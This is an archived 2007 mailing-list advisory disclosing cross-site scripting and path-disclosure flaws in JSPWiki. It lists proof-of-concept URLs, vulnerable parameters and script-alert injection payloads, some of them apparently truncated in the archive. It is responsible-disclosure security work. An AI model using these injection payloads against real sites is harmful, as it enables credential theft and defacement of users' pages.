Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

JSPWiki Multiple Vulnerabilities

From: Jason Kratzer <kratzer.jason(at)gmail.com>
Date: Mon Sep 24 2007 - 20:42:40 EDT


Application: JSPWiki Multiple Vulnerabilities Version: 2.4.103 and 2.5.139
Credit: Jason Kratzer
Date: 9/24/2007

Background



JSPWiki is wiki software built around the standard J2EE components of Java, servlets and JSP. It was written by Janne Jalkanen and released under the LGPL. The Sun Java System Portal Server includes it as one of its core applications. It is primarily used for company intranets and has an active developer community, also including the i3G Institute of the Heilbronn University.

(Courtesy of Wikipedia: http://en.wikipedia.org/wiki/JSPWiki)

Description



Multiple Cross Site Scripting vulnerabilities have been discovered within the JSPWiki application, successfully allowing an attacker to steal credentials, falsify posts, and persistently deface portions of the site. Additionally, a Local Path Disclosure vulnerability was also discovered.

Affected Versions



Each vulnerability was confirmed in versions 2.4.103 and 2.5.139-beta.  The Cross Site Scripting vulnerability affecting the redirect parameter is only found in version 2.5.139-beta.

Proof of Concept

Cross Site Scripting Vulnerabilities:



http://vulnerable-site.com/wiki/NewGroup.jsp?group=Test

    Vulnerable Parameters:

        group=Test"
        members= Test"
Do you need help?X

    Type: Reflective



http://vulnerable-site.com/wiki/Edit.jsp?page=Main&action=save&edittime=1186698299838&addr=127.0.0.1&_editedtext=Test&changenote=Test&ok=Save

    Vulnerable Parameters:

        edittime=<script>alert("Test+XSS")</script>

    Type: Reflective



http://vulnerable-site.com/wiki/Comment.jsp?page=Main&action=save&edittime=1186698386737&addr=127.0.0.1&_editedtext=Test&author=AnonymousCoward&link=&ok=Save

    Vulnerable Parameters:

        edittime=
        author=
        link=">

    Type: Reflective



http://vulnerable-site.com/wiki/UserPreferences.jsp?tab=profile&loginname=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Test@Test.com&ok=Save+profile&action=saveProfile http://vulnerable-site.com/wiki/Login.jsp?tab=profile&loginname=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Test@Test.com&ok=Save+profile&action=saveProfile

    Vulnerable Parameters:

        loginname=">
        wikiname=">
        fullname=">
        email=">

    Type: Reflective



http://vulnerable-site.com/wiki/Diff.jsp?page=Administrator&r1=-1&r2=1
Do you need more help?X

    Vulnerable Parameters:

        r1=
        r2=

    Type: Reflective



http://vulnerable-site.com/wiki/PageInfo.jsp?page=SystemInfo/test.jpg

    Vulnerable Parameters:

        changenote=<script>alert("Test+XSS")</script>

    Type: Stored



http://vulnerable-site.com/wiki-3/Login.jsp?redirect=Main

    Vulnerable Parameter:

        redirect="><script>alert("Test+XSS")</script>

Notes:

Can we help you?X

    The redirect parameter is found in multiple places through JSPWiki-2.5.139-beta and is vulnerable in every instance.


Local Path Disclosure:

http://vulnerable-site.com/wiki/attach/Main/Insert-Uploaded-Attachment-Filename-Here?version=1000000 (Nonexistent #)

    Vulnerable Parameter;

        Version=10000000

Notes:

    The non-existent number must be between 1 and 10 character otherwise a standard 500 error will be displayed.

Vendor Notification



The JSPWiki project was notified on September 10, 2007. Janne Jalkanen developed and implemented a fix by September 18, 2007.
Can't find what you're looking for?X

Remediation



It is recommended to upgrade to JSPWiki version 2.4.104. It is also worth noting, the above vulnerabilities have also been fixed in the beta release, version 2.5.139. Received on Tue Sep 25 11:28:14 2007

This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:17:37 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library